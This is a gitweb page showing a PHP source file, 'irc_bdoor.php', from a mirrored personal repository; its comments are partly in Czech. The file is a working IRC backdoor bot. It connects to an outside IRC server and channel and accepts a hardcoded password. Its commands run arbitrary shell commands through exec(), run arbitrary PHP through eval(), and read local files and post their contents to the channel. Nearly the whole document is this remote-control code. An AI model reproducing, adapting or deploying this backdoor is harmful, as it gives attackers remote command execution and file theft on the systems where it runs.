added tips to lamer.bash help
[mirrors/Programs.git] / php / skripty / irc_bdoor.php
1 <?php
2 //HARVESTER IRC BOT
3
4 //Settings:
5 $server = "irc.2600.net";
6 $port = "6667";
7 $channel = "#harviez";
8 $nick = ("hircz".time());
9 $pass = "omnibus";
10 $loged = FALSE;
11 echo("-NICK: $nick\n");
12 error_reporting(0);
13 error_reporting(E_ERROR);
14
15 //Functions:
16 function irc_connect( $fp, $nick, $channel, $joinwait ) {
17 fwrite($fp, "USER USER $nick # # :$nick\n");
18 fwrite($fp, "NICK $nick\n");
19 //sleep($joinwait);
20 fwrite($fp, "JOIN $channel\n");
21 }
22
23 function irc_say( $fp, $msg, $nick, $rcpto ) {
24 //fwrite($fp, ":$nick!~Harvie@r3ax157.net.upc.cz PRIVMSG $rcpto :$msg\n");
25 fwrite($fp, ": PRIVMSG $rcpto :$msg\n");
26 }
27
28 //Code:
29 //Init:
30 $jokes = file($jokefile);
31 $spam = "";
32 $rfile = "";
33
34 while(1) { //Auto reconnect
35
36 fclose($sfp);
37 $sfp = "";
38 $sfp = fsockopen ($server, $port, &$errno, &$errstr, 5);
39 irc_connect( $sfp, $nick, $channel, 0 );
40 $home_channel = $channel;
41
42 while(!fwrite($sfp, "")) {
43
44 fwrite($sfp, "JOIN $channel\n");
45
46 //ReadLine from IRC Server
47 $line = (fgets($sfp));
48 $words = (explode(" ", $line));
49 $commands = (explode(":", $line));
50 echo($line);
51
52 while(!fwrite($sfp, "") && !$loged) {/////////////////////////////////
53 fwrite($sfp, "JOIN $channel\n");
54 $line = (fgets($sfp));
55 $words = (explode(" ", $line));
56 $commands = (explode(":", $line));
57 echo($line);
58 if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)
59 { $loged = FALSE; echo("-UNLOGED\n"); }
60 if (trim($commands[2]) == "hlogin" && trim($commands[3]) == $pass)
61 { $loged = TRUE; echo("-LOGED\n"); }
62
63
64 //IRC Sever PING/PONG Response
65 if ($words[0] == "PING") {
66 fwrite($sfp, "PONG ".trim($words[1])."\n");
67 echo("-PONG ".trim($words[1])."\n");
68 }
69 }////////////////////////////////////////////////////////
70
71 //Logout
72 if (trim($commands[2]) == "hlogin" && trim($commands[3]) != $pass)
73 { $loged = FALSE; echo("-UNLOGED\n"); }
74
75 //IRC Sever PING/PONG Response
76 if ($words[0] == "PING") {
77 fwrite($sfp, "PONG ".trim($words[1])."\n");
78 echo("-PONG ".trim($words[1])."\n");
79 }
80
81 //hplay:file - Prehraje soubor
82 if ( trim($commands[2]) == "hplay") {
83 if ( is_file( trim($commands[3]) ) ) {
84 $rfile = fopen( trim($commands[3]), "r");
85 }
86 else
87 {
88 fclose($rfile);
89 $rfile = "";
90 }
91 echo("-FILE: ".trim($commands[3])."\n");
92 }
93
94 if ( $rfile != "" ) {
95 irc_say( $sfp, fgetss($rfile), $nick, $channel );
96 }
97
98 //hhelp - vypise tuto napovedu
99 if ( trim($commands[2]) == "hhelp") {
100 irc_say( $sfp, "Run out of here man!!!", $nick, $channel );
101 echo("-HELPED"."\n");
102 }
103
104 //hsay:Message - Posle zpravu
105 if ( trim($commands[2]) == "hsay") {
106 irc_say( $sfp, trim($commands[3]), $nick, $channel );
107 echo("-SAID: ".trim($commands[3])."\n");
108 }
109
110 //hdo:Command - Posle serveru prikaz
111 if ( trim($commands[2]) == "hdo") {
112 $hdo = explode("hdo:", $line);
113 fwrite( $sfp, trim($hdo[1])."\n" );
114 echo("-DONE: ".trim($hdo[1])."\n");
115 }
116
117 //hcmd:Command - Spusti prikaz
118 if ( trim($commands[2]) == "hcmd") {
119 exec(trim($commands[3]));
120 irc_say( $sfp, trim($commands[3]), $nick, $channel );
121 echo("-CMD: ".trim($commands[3])."\n");
122 }
123
124 //heval:Command - Spusti php prikaz
125 if ( trim($commands[2]) == "heval") {
126 eval(trim($commands[3]));
127 irc_say( $sfp, trim($commands[3]), $nick, $channel );
128 echo("-EVALCMD: ".trim($commands[3])."\n");
129 }
130
131 //hpart:Channel - Odpoji se z kanalu
132 if ( trim($commands[2]) == "hpart") {
133 $hdo = explode("hpart:", $line);
134 if ( trim($hdo[1]) != trim($home_channel) ) {
135 fwrite( $sfp, "PART :".trim($hdo[1])."\n" );
136 echo("-PARTED: ".trim($hdo[1])."\n");
137 }
138 }
139
140 //hmove:Channel - Zmeni aktivni kanal
141 if ( trim($commands[2]) == "hmove") {
142 $hdo = explode("hmove:", $line);
143 if ( trim($hdo[1]) != trim($home_channel) ) {
144 $home_channel = trim($hdo[1]);
145 fwrite($sfp, "JOIN $home_channel\n");
146 irc_say( $sfp, "Hi, im here...", $nick, $home_channel );
147 echo("-ACTIVATED: ".trim($hdo[1])."\n");
148 }
149 }
150
151 //htime - udaje o casu
152 if ( trim($commands[2]) == "htime") {
153 $msg = implode("-", getdate(time()));
154 irc_say( $sfp, trim($msg), $nick, $channel );
155 echo("-TIMED"."\n");
156 }
157
158 }
159 echo("-Connection lost.\n-Reconnecting\n");
160 }
161
162 ?>
This page took 0.367148 seconds and 4 git commands to generate.